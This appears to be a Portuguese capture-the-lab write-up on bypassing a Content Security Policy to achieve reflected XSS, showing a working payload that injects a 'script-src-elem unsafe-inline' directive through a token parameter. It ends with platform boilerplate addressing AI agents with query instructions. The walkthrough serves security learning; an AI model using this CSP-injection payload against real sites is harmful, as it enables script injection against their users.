> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-with-csp-bypass.md).

# XSS com CSP e Técnica de Bypass

### XSS refletido protegido por CSP, com bypass de CSP

#### Descrição do laboratório

Cross-site scripting refletido protegido por uma Política de Segurança de Conteúdo (CSP). O objetivo é executar `alert()` contornando a CSP. A solução pretendida só funciona no Chrome.

#### Objetivo

Encontre um vetor de XSS engenhoso que contorne a CSP e chame a `alert()` função.

Observações

* Ao injetar uma `<script>` tag no parâmetro, a tag aparece no HTML, mas o JavaScript não é executado:/ Exemplo injetado: `'</h1><script>alert(0)</script>` — a tag fica visível, mas é bloqueada pela CSP.

```javascript
' </h1><script>alert(0)</script>
```

<figure><img src="/files/eb4e717a8ed7d7591d3cde8120800aff5752d35a" alt=""><figcaption></figcaption></figure>

A CSP permite apenas scripts do mesmo domínio (`'self'`).

<figure><img src="/files/a05bff572ef5508dd0e7450655fcea966eef5ad3" alt=""><figcaption></figcaption></figure>

* O relatório da CSP indica que um token é esperado (o `token` parâmetro parece estar relacionado ao comportamento da CSP).

<figure><img src="/files/5aa4aba9dffebd54d5c9f0af0cfb36041046f157" alt=""><figcaption></figcaption></figure>

* Ao adicionar `&token=test` à URL, esse parâmetro é interpretado pela aplicação.

```
&token=test
```

<figure><img src="/files/8be2105e0fb9b4da14be989ca6916fa35be84094" alt=""><figcaption></figcaption></figure>

É possível injetar uma diretiva CSP diretamente pelo `token` parâmetro, por exemplo:

```
&token=;script-src-elem 'unsafe-inline'
```

a diretiva é levada em consideração

<figure><img src="/files/4d6705fa6e5c2b724ce485099dce63aebee91ec1" alt=""><figcaption></figcaption></figure>

Após forçar a adição de `script-src-elem 'unsafe-inline'`, a seguinte injeção permite a execução de JavaScript:

```javascript
<script>alert(0)</script>&token=;script-src-elem 'unsafe-inline'
```

<figure><img src="/files/d0a858e23ec1a55376a287963e15727b902ff219" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-with-csp-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
